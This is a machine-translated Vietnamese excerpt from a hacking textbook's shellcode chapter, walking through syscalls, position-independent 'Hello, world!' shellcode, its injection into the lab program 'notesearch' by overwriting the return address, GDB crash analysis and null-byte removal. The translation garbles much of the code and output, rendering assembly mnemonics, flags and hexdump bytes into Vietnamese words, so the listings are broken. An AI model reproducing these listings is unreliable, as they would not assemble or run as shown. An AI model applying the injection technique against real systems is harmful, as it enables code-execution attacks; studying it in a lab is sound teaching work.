thực hiện lệnh gọi hệ thống để ghi chuỗi Hello, world! vào màn hình. Chương trình strace được sử dụng để
theo dõi các lệnh gọi hệ thống của chương trình. Được sử dụng trên chương trình helloworld đã biên dịch,
nó hiển thị mọi lệnh gọi hệ thống mà chương trình thực hiện.
reader@hacking:~/booksrc $ gcc helloworld.c
reader@hacking:~/booksrc $ strace ./a.out
execve("./a.out", ["./a.out"], [/* 27 biến */]) = 0
brk(0) = 0x804a000
truy cập("/etc/ld.so.nohwcap", F_OK)
= -1 ENOENT (Không có tệp hoặc thư mục nào như vậy)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_RIÊNG TƯ|MAP_VÔ DANH, -1, 0) = 0xb7ef6000
truy cập("/etc/ld.so.preload", R_OK)
= -1 ENOENT (Không có tệp hoặc thư mục nào như vậy)
mở("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0
mmap2(NULL, 61323, PROT_READ, MAP_RIÊNG TƯ, 3, 0) = 0xb7ee7000
= 0
đóng(3)
truy cập("/etc/ld.so.nohwcap", F_OK)
= -1 ENOENT (Không có tệp hoặc thư mục nào như vậy)
mở("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
đọc(3, "\177ELF\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0
mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7db3000
mmap2(0xb7ee0000, 16384, ĐỌC_PROT|GHI_PROT, MAP_RIÊNG TƯ|MAP_ĐÃ SỬA ĐỔI|MAP_KHÔNG GHI, 3, 0x12c) = 0xb7ee0000
282 0x500
Machine Translated by Google
mmap2(0xb7ee4000, 9596, ĐỌC_PROT|GHI_PROT, MAP_RIÊNG TƯ|MAP_ĐÃ_CỐ_ĐỊNH|MAP_KHÔNG_NẶC_BẠ, -1, 0) = 0xb7ee4000
= 0
đóng(3)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7db2000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1, contents:0,
read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7ee0000, 8192, ĐỌC_PROT) = 0
= 0
munmap(0xb7ee7000, 61323)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, ĐỌC PROT|GHI PROT, MAP_RIÊNG TƯ|MAP_VÔ DANH, -1, 0) = 0xb7ef5000
write(1, "Xin chào thế giới!\n", 13Xin chào thế giới!
= 13
= ?
) nhóm thoát(0)
Tiến trình 11528 tách ra
người đọc@hacking:~/booksrc $
Như bạn có thể thấy, chương trình đã biên dịch không chỉ có chức năng in ra một chuỗi.
Các lệnh gọi hệ thống khi bắt đầu sẽ thiết lập môi trường và bộ nhớ cho chương trình,
nhưng phần quan trọng là lệnh gọi hệ thống write() được hiển thị in đậm.
Đây chính là kết quả thực sự của chuỗi đầu ra.
Các trang hướng dẫn Unix (truy cập bằng lệnh man ) được chia thành các phần.
Phần 2 chứa các trang hướng dẫn cho các lệnh gọi hệ thống, do đó lệnh man 2 write sẽ mô
tả cách sử dụng lệnh gọi hệ thống write() :
Trang hướng dẫn cho lệnh gọi hệ thống write()
VIẾT(2)
Sổ tay lập trình Linux
VIẾT(2)
TÊN
write - ghi vào một mô tả tập tin
TÓM TẮT
#include <unistd.h>
ssize_t ghi(int fd, const void *buf, size_t đếm);
SỰ MIÊU TẢ
write() ghi tới số byte vào tệp được tham chiếu bởi tệp
mô tả fd từ bộ đệm bắt đầu tại buf. POSIX yêu cầu rằng một
read() có thể được chứng minh là xảy ra sau khi write() trả về giá trị mới
dữ liệu. Lưu ý rằng không phải tất cả các hệ thống tập tin đều tuân thủ POSIX.
Đầu ra strace cũng hiển thị các đối số cho syscall. Buf
và các đối số đếm là một con trỏ đến chuỗi của chúng ta và độ dài của nó. fd
đối số 1 là một mô tả tệp chuẩn đặc biệt. Mô tả tệp được sử dụng cho hầu hết mọi thứ
trong Unix: đầu vào, đầu ra, truy cập tệp, ổ cắm mạng, v.v. Mô tả tệp tương tự như một
số được đưa ra khi kiểm tra áo khoác.
Mở một mô tả tệp giống như kiểm tra áo khoác của bạn, vì bạn được cung cấp một số có
thể được sử dụng sau này để tham chiếu đến áo khoác của bạn. Ba số mô tả tệp đầu tiên
(0, 1 và 2) được tự động sử dụng cho đầu vào, đầu ra và lỗi chuẩn. Các giá trị này là
chuẩn và đã được định nghĩa ở một số nơi, chẳng hạn như tệp /usr/include/unistd.h ở trang
sau.
Mã vỏ 283
Machine Translated by Google
Từ /usr/include/unistd.h
/* Mô tả tập tin chuẩn. */
#define STDIN_FILENO 0 /* Đầu vào chuẩn. */
#define STDOUT_FILENO 1 /* Đầu ra chuẩn. */
#define STDERR_FILENO 2 /* Đầu ra lỗi tiêu chuẩn. */
Ghi byte vào mô tả tệp của đầu ra chuẩn là 1 sẽ in ra các byte; đọc từ mô tả tệp của
đầu vào chuẩn là 0 sẽ nhập byte. Mô tả tệp lỗi chuẩn là 2 được sử dụng để hiển thị lỗi
hoặc thông báo gỡ lỗi có thể được lọc từ đầu ra chuẩn.
0x511 Lệnh gọi hệ thống Linux trong Assembly
Mọi cuộc gọi hệ thống Linux có thể được liệt kê, do đó chúng có thể được tham chiếu bằng
số khi thực hiện các cuộc gọi trong assembly. Các cuộc gọi hệ thống này được liệt kê
trong /usr/include/asm-i386/unistd.h.
Từ /usr/include/asm-i386/unistd.h
#ifndef _ASM_I386_UNISTD_H_
#định nghĩa _ASM_I386_UNISTD_H_
/*
* Tập tin này chứa số lệnh gọi hệ thống.
*/
#định nghĩa __NR_restart_syscall
#định nghĩa __NR_exit
1
#định nghĩa __NR_fork
2
#định nghĩa __NR_read
3
#định nghĩa __NR_write
4
#định nghĩa __NR_open
5
#định nghĩa __NR_close
6
#định nghĩa __NR_waitpid
7
#định nghĩa __NR_creat
8
#định nghĩa __NR_link
9
#định nghĩa __NR_unlink 10
#định nghĩa __NR_execve
11
#định nghĩa __NR_chdir
12
#định nghĩa __NR_time
13
#định nghĩa __NR_mknod
14
#định nghĩa __NR_chmod
15
#định nghĩa __NR_lchown
16
#định nghĩa __NR_break
17
#định nghĩa __NR_oldstat 18
#define __NR_lseek 19
#xác định __NR_getpid 20
284 0x500
#define __NR_mount
21
#define __NR_umount
22
#define __NR_setuid
23
#define __NR_getuid
24
0
Machine Translated by Google
#định nghĩa __NR_stime
25
#định nghĩa __NR_ptrace
26
#định nghĩa __NR_alarm 27
#define __NR_oldfstat 28
#define __NR_pause 29
#định nghĩa __NR_utime
30
#định nghĩa __NR_stty
31
#định nghĩa __NR_gtty
32
#định nghĩa __NR_access
33
#định nghĩa __NR_nice
34
#định nghĩa __NR_ftime
35
#định nghĩa __NR_sync
36
#định nghĩa __NR_kill
37
#định nghĩa __NR_rename
38
#định nghĩa __NR_mkdir
39
...
Đối với việc viết lại helloworld.c trong assembly, chúng ta sẽ thực hiện lệnh gọi hệ thống đến
hàm write() để xuất ra và sau đó thực hiện lệnh gọi hệ thống thứ hai đến exit()
vì vậy quá trình này kết thúc một cách sạch sẽ. Điều này có thể được thực hiện trong assembly x86 chỉ
bằng cách sử dụng hai lệnh assembly: mov và int.
Hướng dẫn lắp ráp cho bộ xử lý x86 có một, hai, ba hoặc không có toán hạng. Các
toán hạng của một lệnh có thể là giá trị số, địa chỉ bộ nhớ hoặc thanh ghi bộ xử lý.
Bộ xử lý x86 có một số thanh ghi 32 bit có thể được xem như các biến phần cứng. Các
thanh ghi EAX, EBX, ECX, EDX, ESI, EDI, EBP và ESP đều có thể được sử dụng làm toán
hạng, trong khi thanh ghi EIP (con trỏ thực thi) thì không.
Lệnh mov sao chép một giá trị giữa hai toán hạng của nó. Sử dụng cú pháp lắp ráp
Intel, toán hạng đầu tiên là đích và toán hạng thứ hai là nguồn. Lệnh int gửi tín
hiệu ngắt đến hạt nhân, được xác định bởi toán hạng duy nhất của nó. Với hạt nhân
Linux, ngắt 0x80 được sử dụng để báo cho hạt nhân thực hiện lệnh gọi hệ thống. Khi
lệnh int 0x80 được thực thi, hạt nhân sẽ thực hiện lệnh gọi hệ thống dựa trên bốn
thanh ghi đầu tiên. Thanh ghi EAX được sử dụng để chỉ định lệnh gọi hệ thống nào sẽ
thực hiện, trong khi các thanh ghi EBX, ECX và EDX được sử dụng để giữ đối số thứ
nhất, thứ hai và thứ ba cho lệnh gọi hệ thống. Tất cả các thanh ghi này có thể được
thiết lập bằng lệnh mov .
Trong danh sách mã lắp ráp sau đây, các phân đoạn bộ nhớ được khai báo đơn giản.
Chuỗi "Hello, world!" với ký tự xuống dòng (0x0a) nằm trong phân đoạn dữ liệu và các
hướng dẫn lắp ráp thực tế nằm trong phân đoạn văn bản.
Điều này tuân theo các phương pháp phân đoạn bộ nhớ phù hợp.
Xin chào thế giới.asm
phần .data db
tin nhắn
; Phân đoạn dữ liệu
"Xin chào thế giới!", 0x0a ; Chuỗi và ký tự xuống dòng
phần .text toàn
; Đoạn văn bản
cục _start
; Điểm vào mặc định cho liên kết ELF
_bắt đầu:
Mã vỏ 285
Machine Translated by Google
; SYSCALL: ghi(1, msg, 14) mov
eax, 4 mov
; Đặt 4 vào eax, vì write là syscall #4.
ebx, 1 mov
; Đặt 1 vào ebx, vì stdout là 1.
ecx, msg mov
; Đặt địa chỉ của chuỗi vào ecx.
edx, 14 int
0x80
; Nhập 14 vào edx vì chuỗi của chúng ta có 14 byte.
; Gọi kernel để thực hiện lệnh gọi hệ thống.
; SYSCALL: thoát(0)
mov eax, 1
; Đặt 1 vào eax, vì exit là syscall #1.
mov ebx, 0 ; Thoát thành công.
int 0x80 ; Thực hiện lệnh gọi hệ thống.
Hướng dẫn của chương trình này rất đơn giản. Đối với lệnh gọi hệ thống write()
đến đầu ra chuẩn, giá trị 4 được đưa vào EAX vì hàm write() là lệnh gọi hệ thống
số 4. Sau đó, giá trị 1 được đưa vào EBX vì đối số đầu tiên của write() phải là mô
tả tệp cho đầu ra chuẩn. Tiếp theo, địa chỉ của chuỗi trong phân đoạn dữ liệu được
đưa vào ECX và độ dài của chuỗi (trong trường hợp này là 14 byte) được đưa vào EDX.
Sau khi các thanh ghi này được tải, ngắt lệnh gọi hệ thống được kích hoạt, ngắt này
sẽ gọi hàm write() .
Để thoát hoàn toàn, hàm exit() cần được gọi với một đối số duy nhất là 0.
Do đó, giá trị 1 được đưa vào EAX, vì exit() là lệnh gọi hệ thống số 1 và giá trị
0 được đưa vào EBX, vì đối số đầu tiên và duy nhất phải là 0. Sau đó, ngắt lệnh
gọi hệ thống được kích hoạt lại.
Để tạo một tệp nhị phân thực thi, trước tiên mã lắp ráp này phải được lắp ráp
và sau đó liên kết thành một định dạng thực thi. Khi biên dịch mã C, trình biên
dịch GCC sẽ tự động xử lý tất cả những việc này. Chúng ta sẽ tạo một tệp nhị phân
thực thi và liên kết (ELF), do đó dòng _start toàn cục sẽ hiển thị trình liên kết
nơi các lệnh lắp ráp bắt đầu.
Trình biên dịch nasm với đối số -f elf sẽ biên dịch helloworld.asm
thành một tệp đối tượng sẵn sàng để liên kết dưới dạng nhị phân ELF.
Theo mặc định, tệp đối tượng này sẽ được gọi là helloworld.o. Chương trình liên
kết ld sẽ tạo ra tệp nhị phân a.out có thể thực thi từ đối tượng đã lắp ráp.
reader@hacking:~/booksrc $ nasm -f elf helloworld.asm
reader@hacking:~/booksrc $ ld helloworld.o
người đọc@hacking:~/booksrc $ ./a.out
Xin chào thế giới!
người đọc@hacking:~/booksrc $
Chương trình nhỏ này hoạt động, nhưng nó không phải là shellcode, vì nó không độc lập và phải
được liên kết.
0x520 Đường dẫn đến Shellcode
Shellcode thực sự được tiêm vào một chương trình đang chạy, nơi nó tiếp quản như
một loại vi-rút sinh học bên trong tế bào. Vì shellcode không thực sự là một chương
trình thực thi, chúng ta không có đủ khả năng để khai báo bố cục dữ liệu trong bộ
nhớ hoặc thậm chí sử dụng các phân đoạn bộ nhớ khác. Các lệnh của chúng ta phải độc
lập và sẵn sàng tiếp quản quyền kiểm soát bộ xử lý bất kể trạng thái hiện tại của nó.
Điều này thường được gọi là mã không phụ thuộc vào vị trí.
286 0x500
Machine Translated by Google
Trong shellcode, các byte cho chuỗi "Hello, world!" phải được trộn lẫn với các
byte cho lệnh lắp ráp, vì không có các phân đoạn bộ nhớ có thể xác định hoặc dự đoán
được. Điều này ổn miễn là EIP không cố gắng diễn giải chuỗi dưới dạng lệnh. Tuy nhiên,
để truy cập chuỗi dưới dạng dữ liệu, chúng ta cần một con trỏ đến chuỗi đó. Khi shellcode
được thực thi, nó có thể ở bất kỳ đâu trong bộ nhớ. Địa chỉ bộ nhớ tuyệt đối của chuỗi
cần được tính toán tương đối với EIP. Tuy nhiên, vì không thể truy cập EIP từ lệnh lắp
ráp, chúng ta cần sử dụng một số loại thủ thuật.
0x521 Hướng dẫn lắp ráp sử dụng Stack
Ngăn xếp này là một phần không thể thiếu của kiến trúc x86 đến nỗi có những hướng dẫn
đặc biệt cho hoạt động của nó.
Chỉ dẫn
Sự miêu tả
đẩy <nguồn>
Đẩy toán hạng nguồn vào ngăn xếp.
pop <đích> Lấy một giá trị ra khỏi ngăn xếp và lưu vào toán hạng đích.
gọi <vị trí>
Gọi một hàm, nhảy thực thi đến địa chỉ trong toán hạng vị trí. Vị trí này có
thể là tương đối hoặc tuyệt đối. Địa chỉ của lệnh theo sau lệnh gọi được đẩy
vào ngăn xếp, để thực thi có thể trả về sau.
Trả về từ một hàm, lấy địa chỉ trả về khỏi ngăn xếp và nhảy
trở về
thực thi tại đó.
Các khai thác dựa trên ngăn xếp được thực hiện thông qua các lệnh call và ret .
Khi một hàm được gọi, địa chỉ trả về của lệnh tiếp theo được đẩy vào ngăn xếp, bắt đầu
khung ngăn xếp. Sau khi hàm hoàn tất, lệnh ret
lệnh này sẽ lấy địa chỉ trả về khỏi ngăn xếp và đưa EIP trở lại đó.
Bằng cách ghi đè địa chỉ trả về đã lưu trữ trên ngăn xếp trước lệnh ret , chúng ta có
thể kiểm soát việc thực thi chương trình.
Kiến trúc này có thể bị sử dụng sai theo cách khác để giải quyết vấn đề xử lý dữ liệu
chuỗi nội tuyến. Nếu chuỗi được đặt trực tiếp sau lệnh gọi, địa chỉ của chuỗi sẽ được
đẩy vào ngăn xếp dưới dạng địa chỉ trả về. Thay vì gọi hàm, chúng ta có thể nhảy qua
chuỗi đến pop
hướng dẫn sẽ lấy địa chỉ ra khỏi ngăn xếp và đưa vào thanh ghi. Các hướng dẫn lắp ráp
sau đây minh họa kỹ thuật này.
xin chào thế giới1.s
BIT 32
; Nói với nasm đây là mã 32 bit.
gọi mark_below ; Gọi bên dưới chuỗi để hướng dẫn
db "Xin chào thế giới!", 0x0a, 0x0d ; với ký tự xuống dòng và ký tự trả về đầu dòng.
đánh dấu bên dưới:
; ssize_t ghi(int fd, const void *buf, size_t đếm);
pop ecx
; Đưa địa chỉ trả về (chuỗi ptr) vào ecx.
mov eax, 4
; Viết syscall #.
mov ebx, 1
; Mô tả tập tin STDOUT
Mã vỏ 287
Machine Translated by Google
mov edx, 15
; Chiều dài của chuỗi
int 0x80
; Thực hiện syscall: write(1, string, 14)
; void _exit(int trạng thái);
mov eax, 1
; Thoát khỏi syscall #
mov ebx, 0
; Trạng thái = 0
số nguyên 0x80
; Thực hiện syscall: exit(0)
Lệnh call sẽ nhảy thực thi xuống bên dưới chuỗi. Lệnh này cũng đẩy địa chỉ của
lệnh tiếp theo vào ngăn xếp, lệnh tiếp theo trong trường hợp của chúng ta là phần đầu
của chuỗi. Địa chỉ trả về có thể ngay lập tức được đẩy từ ngăn xếp vào thanh ghi thích
hợp. Không sử dụng bất kỳ phân đoạn bộ nhớ nào, các lệnh thô này, được đưa vào một quy
trình hiện có, sẽ thực thi theo cách hoàn toàn độc lập với vị trí. Điều này có nghĩa là
khi các lệnh này được lắp ráp, chúng không thể được liên kết thành một tệp thực thi.
reader@hacking:~/booksrc $ nasm helloworld1.s reader@hacking:~/
booksrc $ ls -l helloworld1
-rw-r--r-- 1 người đọc người đọc 50 2007-10-26 08:30 helloworld1
reader@hacking:~/booksrc $ hexdump -C helloworld1
00000000 e8 0f 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Xin chào, thế giới|
00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........|
00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|
00000030 đĩa 80
|..|
00000032
người đọc@hacking:~/booksrc $ ndisasm -b32 helloworld1
00000000 E80F000000
gọi 0x14
00000005 48
dec eax
00000006 656C
gs insb
00000008 6C
insb
00000009 6Tầng
ngoài ra
0000000A 2C20
phụ al,0x20
0000000C 776F
có 0x7d
0000000E 726C
jc 0x7c
00000010 64210A
và [fs:edx],ecx
00000013 0D59B80400
hoặc eax,0x4b859
00000018 0000
thêm [eax],al
0000001A BB01000000
chuyển động ebx,0x1
0000001F BA0F000000
di chuyển edx,0xf
00000024 CD80
số nguyên 0x80
00000026 B801000000
di chuyển eax,0x1
0000002B BB00000000
chuyển động ebx,0x0
00000030 CD80
số nguyên 0x80
người đọc@hacking:~/booksrc $
Trình biên dịch nasm chuyển đổi ngôn ngữ lắp ráp thành mã máy và một công cụ
tương ứng gọi là ndisasm chuyển đổi mã máy thành mã lắp ráp.
Các công cụ này được sử dụng ở trên để hiển thị mối quan hệ giữa các byte mã máy và
các lệnh lắp ráp. Các lệnh tháo rời được đánh dấu in đậm là các byte của chuỗi "Hello,
world!" được hiểu là các lệnh.
Bây giờ, nếu chúng ta có thể đưa shellcode này vào một chương trình và chuyển hướng
EIP, chương trình sẽ in ra Hello, world! Hãy sử dụng mục tiêu khai thác quen thuộc của
chương trình notesearch.
288 0x500
Machine Translated by Google
reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld1)
reader@hacking:~/booksrc $ ./getenvaddr MÃ SHELL ./notesearch
SHELLCODE sẽ ở 0xbffff9c6
người đọc@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xc6\xf9\xff\xbf"x40')
-------[ kết thúc dữ liệu ghi chú ]----Lỗi phân đoạn
người đọc@hacking:~/booksrc $
Thất bại. Tại sao bạn nghĩ nó bị sập? Trong những tình huống như thế này, GDB là
bạn thân. Ngay cả khi bạn đã biết lý do đằng sau sự cố cụ thể này, việc học cách
sử dụng trình gỡ lỗi hiệu quả sẽ giúp bạn giải quyết nhiều vấn đề khác trong
tương lai.
0x522 Đang điều tra với GDB
Vì chương trình notesearch chạy dưới dạng root, chúng ta không thể gỡ lỗi nó như
một người dùng bình thường. Tuy nhiên, chúng ta cũng không thể chỉ đính kèm vào
một bản sao đang chạy của nó, vì nó thoát quá nhanh. Một cách khác để gỡ lỗi chương
trình là sử dụng core dump. Từ dấu nhắc root, hệ điều hành có thể được yêu cầu dump
bộ nhớ khi chương trình gặp sự cố bằng cách sử dụng lệnh ulimit -c unlimited. Điều
này có nghĩa là các tệp core đã dump được phép có kích thước tùy ý. Bây giờ, khi
chương trình gặp sự cố, bộ nhớ sẽ được dump vào đĩa dưới dạng tệp core, có thể
được kiểm tra bằng GDB.
người đọc@hacking:~/booksrc $ sudo su
root@hacking:/home/reader/booksrc # ulimit -c không giới hạn
root@hacking:/home/reader/booksrc # xuất SHELLCODE=$(cat helloworld1)
root@hacking:/home/reader/booksrc # ./getenvaddr MÃ SHELL ./notesearch
SHELLCODE sẽ ở 0xbffff9a3
root@hacking:/home/reader/booksrc # ./notesearch $(perl -e 'print "\xa3\xf9\
xff\xbf"x40')
-------[ kết thúc dữ liệu ghi chú ]----Lỗi phân đoạn (lõi bị đổ)
root@hacking:/home/reader/booksrc # ls -l ./core -rw------1 root root 147456 2007-10-26 08:36 ./core
root@hacking:/home/reader/booksrc # gdb -q -c ./core (không tìm
thấy biểu tượng gỡ lỗi)
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Lõi được tạo ra bởi `./notesearch £°E¿£°E¿£
°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E.
Chương trình kết thúc bằng tín hiệu 11, Lỗi phân đoạn.
#0 0x2c6541b7 trong ?? ()
(gdb) thiết lập dis intel
(gdb) x/5i 0xbffff9a3
0xbffff9a3: gọi 0x2c6541b7
0xbffff9a8: ins BYTE PTR es:[edi],[dx]
0xbffff9a9: đầu ra [dx], DWORD PTR ds:[esi]
0xbffff9aa: phụ,0x20
0xbffff9ac: 0xbffffa1d
có
(gdb) ir eip
eip 0x2c6541b7 (gdb) x/32xb
0x2c6541b7
0xbffff9a3
Mã vỏ 289
Machine Translated by Google
0xbffff9a3:
0xe8
0x0f
0x48
0x65
0x6c
0x6c
0xbffff9ab:
0x20
0x77
0x6f
0x72
0x6c
0x64 0x21
0x6f 0x2c
0x0a
0xbffff9b3:
0x0d
0x59
0xb8
0x04 0xbb 0xbb
0x01 0xba
0x0f
0xbffff9bb:
0xcd
0x80 0xb8
0x01
0xcd 0x80
0x00
(gdb) thoát
root@hacking:/home/reader/booksrc # hexdump -C helloworld1
00000000 e8 0f 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Xin chào, thế giới|
00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........|
00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|
00000030 đĩa 80
|..|
00000032
root@hacking:/home/reader/booksrc #
Sau khi GDB được tải, kiểu tháo rời được chuyển sang Intel. Vì chúng ta đang chạy
GDB với tư cách là root, tệp .gdbinit sẽ không được sử dụng. Bộ nhớ nơi shellcode sẽ
được kiểm tra. Các hướng dẫn có vẻ không chính xác, nhưng có vẻ như lệnh gọi không
chính xác đầu tiên là nguyên nhân gây ra sự cố. Ít nhất, quá trình thực thi đã được
chuyển hướng, nhưng có điều gì đó không ổn với các byte shellcode.
Thông thường, các chuỗi được kết thúc bằng một byte null, nhưng ở đây, shell đã tử tế
xóa các byte null này cho chúng ta. Tuy nhiên, điều này phá hủy hoàn toàn ý nghĩa của
mã máy. Thông thường, shellcode sẽ được đưa vào một quy trình dưới dạng một chuỗi, bằng
cách sử dụng các hàm như strcpy(). Các hàm như vậy sẽ chỉ đơn giản kết thúc ở byte null
đầu tiên, tạo ra shellcode không đầy đủ và không sử dụng được trong bộ nhớ. Để shellcode
có thể tồn tại trong quá trình chuyển tiếp, nó phải được thiết kế lại để không chứa
bất kỳ byte null nào.
0x523 Xóa bỏ Null Bytes
Khi nhìn vào phần giải mã, có thể thấy rõ ràng là các byte null đầu tiên đến từ lệnh gọi .
người đọc@hacking:~/booksrc $ ndisasm -b32 helloworld1
gọi 0x14
00000000 E80F000000
00000005 48 tháng 12 eax
00000006 656C gs insb
00000008 6C
insb
00000009 6Tầng
ngoài ra
0000000A 2C20
phụ al,0x20
0000000C 776F
có 0x7d
0000000E 726C
jc 0x7c
00000010 64210A
và [fs:edx],ecx
00000013 0D59B80400
hoặc eax,0x4b859
00000018 0000
thêm [eax],al
0000001A BB01000000
chuyển động ebx,0x1
0000001F BA0F000000
di chuyển edx,0xf
00000024 CD80
số nguyên 0x80
00000026 B801000000
di chuyển eax,0x1
0000002B BB00000000
chuyển động ebx,0x0
00000030 CD80
số nguyên 0x80
người đọc@hacking:~/booksrc $
Hướng dẫn này nhảy thực thi về phía trước 19 (0x13) byte, dựa trên toán hạng đầu
tiên. Hướng dẫn gọi cho phép khoảng cách nhảy dài hơn nhiều,
290 0x500
Machine Translated by Google
điều này có nghĩa là một giá trị nhỏ như 19 sẽ phải được thêm số 0 đứng đầu, dẫn
đến các byte null.
Một cách giải quyết vấn đề này là tận dụng phần bù của hai. Một số âm nhỏ sẽ
có các bit dẫn đầu được bật, dẫn đến 0xff
byte. Điều này có nghĩa là nếu chúng ta gọi bằng giá trị âm để di chuyển ngược
lại trong quá trình thực thi, mã máy cho lệnh đó sẽ không có bất kỳ byte null nào.
Bản sửa đổi sau đây của shellcode helloworld sử dụng một triển khai chuẩn của thủ
thuật này: Nhảy đến cuối shellcode tới lệnh call, sau đó lệnh call sẽ nhảy trở lại
lệnh pop ở đầu shellcode.
xin chào thế giới2.s
BIT 32
; Nói với nasm đây là mã 32 bit.
jmp ngắn một
; Nhảy xuống cuộc gọi ở cuối.
hai:
; ssize_t ghi(int fd, const void *buf, size_t đếm);
pop ecx
; Đưa địa chỉ trả về (chuỗi ptr) vào ecx.
mov eax, 4
; Viết syscall #.
mov ebx, 1
; Mô tả tập tin STDOUT
mov edx, 15
; Chiều dài của chuỗi
int 0x80
; Thực hiện syscall: write(1, string, 14)
; void _exit(int trạng thái);
mov eax, 1
; Thoát khỏi syscall #
mov ebx, 0
; Trạng thái =
0 int 0x80
; Thực hiện syscall: exit(0)
một:
gọi hai; Gọi ngược lên trên để tránh byte null
db "Xin chào thế giới!", 0x0a, 0x0d ; với ký tự xuống dòng và ký tự trả về đầu dòng.
Sau khi lắp ráp shellcode mới này, việc tháo rời cho thấy lệnh call (hiển
thị bằng chữ nghiêng bên dưới) hiện không còn byte null. Điều này giải quyết được
vấn đề byte null đầu tiên và khó khăn nhất đối với shellcode này, nhưng vẫn còn
nhiều byte null khác (hiển thị bằng chữ đậm).
reader@hacking:~/booksrc $ nasm helloworld2.s
reader@hacking:~/booksrc $ ndisasm -b32 helloworld2
00000000 EB1E jmp ngắn 0x20
00000002 59
pop ecx
00000003 B804000000
di chuyển eax,0x4
00000008 BB01000000
chuyển động ebx,0x1
0000000D BA0F000000
di chuyển edx,0xf
00000012 CD80
số nguyên 0x80
00000014 B801000000
di chuyển eax,0x1
00000019 BB00000000
chuyển động ebx,0x0
0000001E CD80
số nguyên 0x80
00000020 E8DDFFFFFF
gọi 0x2
00000025 48
dec eax
00000026 656C
gs insb
00000028 6C
insb
Mã vỏ 291
Machine Translated by Google
00000029 6T
ngoài ra
0000002A 2C20
phụ al,0x20
0000002C 776F
có 0x9d
0000002E 726C
jc 0x9c
00000030 64210A
và [fs:edx],ecx
00000033 0D
cơ sở dữ liệu 0x0D
reader@hacking:~/booksrc $
Những byte null còn lại này có thể được loại bỏ bằng cách hiểu về độ rộng thanh ghi và địa chỉ.
Lưu ý rằng lệnh jmp đầu tiên thực sự là jmp ngắn. Điều này có nghĩa là thực thi chỉ có thể nhảy tối đa
khoảng 128 byte theo cả hai hướng. Lệnh jmp thông thường , cũng như lệnh call (không có phiên bản ngắn),
cho phép nhảy dài hơn nhiều. Sự khác biệt giữa mã máy được lắp ráp cho hai loại nhảy được hiển thị
bên dưới:
EB1E
jmp ngắn 0x20
so với
E9 1E 00 00 00
jmp 0x23
Các thanh ghi EAX, EBX, ECX, EDX, ESI, EDI, EBP và ESP có chiều rộng 32 bit. E là viết tắt của
extended (mở rộng), vì ban đầu chúng là các thanh ghi 16 bit được gọi là AX, BX, CX, DX, SI, DI, BP và
SP. Các phiên bản 16 bit ban đầu của các thanh ghi này vẫn có thể được sử dụng để truy cập 16 bit đầu
tiên của mỗi thanh ghi 32 bit tương ứng. Hơn nữa, các byte riêng lẻ của các thanh ghi AX, BX, CX và DX
có thể được truy cập dưới dạng các thanh ghi 8 bit được gọi là AL, AH, BL, BH, CL, CH, DL và DH, trong
đó L là byte thấp và H là byte cao. Đương nhiên, các lệnh lắp ráp sử dụng các thanh ghi nhỏ hơn chỉ cần
chỉ định các toán hạng lên đến chiều rộng bit của thanh ghi. Ba biến thể của lệnh mov được hiển thị
bên dưới.
Mã máy
Cuộc họp
B8 04 00 00 00 mov eax,0x4
66 B8 04 00
di chuyển trục, 0x4
B0 04
di chuyển,0x4
Sử dụng thanh ghi AL, BL, CL hoặc DL sẽ đưa byte ít quan trọng nhất chính xác vào thanh ghi mở rộng
tương ứng mà không tạo bất kỳ byte null nào trong mã máy. Tuy nhiên, ba byte trên cùng của thanh ghi
vẫn có thể chứa bất kỳ thứ gì. Điều này đặc biệt đúng đối với shellcode, vì nó sẽ tiếp quản một quy
trình khác. Nếu chúng ta muốn các giá trị thanh ghi 32 bit là chính xác, chúng ta cần xóa toàn bộ thanh
ghi trước các lệnh mov —nhưng điều này, một lần nữa, phải được thực hiện mà không sử dụng byte null.
Sau đây là một số lệnh lắp ráp đơn giản hơn cho kho vũ khí của bạn. Hai lệnh đầu tiên này là các lệnh
nhỏ tăng và giảm toán hạng của chúng đi một.
292 0x500
Machine Translated by Google
Chỉ dẫn
Sự miêu tả
inc <mục tiêu> Tăng toán hạng mục tiêu bằng cách thêm 1 vào nó.
dec <mục tiêu> Giảm toán hạng mục tiêu bằng cách trừ 1 vào toán hạng đó.
Một số lệnh tiếp theo, như lệnh mov , có hai toán hạng.
Tất cả đều thực hiện các phép toán số học và logic bit đơn giản giữa hai toán
hạng, lưu trữ kết quả trong toán hạng đầu tiên.
Chỉ dẫn
Sự miêu tả
thêm <đích>, <nguồn> Thêm toán hạng nguồn vào toán hạng đích, lưu trữ kết quả ở đích.
sub <đích>, <nguồn> Trừ toán hạng nguồn khỏi toán hạng đích, lưu trữ kết quả ở đích.
hoặc <đích>, <nguồn> Thực hiện phép toán bitwise hoặc logic, so sánh từng bit của một toán hạng với bit
tương ứng của toán hạng kia.
1 hoặc 0 = 1
1 hoặc 1 = 1
0 hoặc 1 = 1
0 hoặc 0 = 0
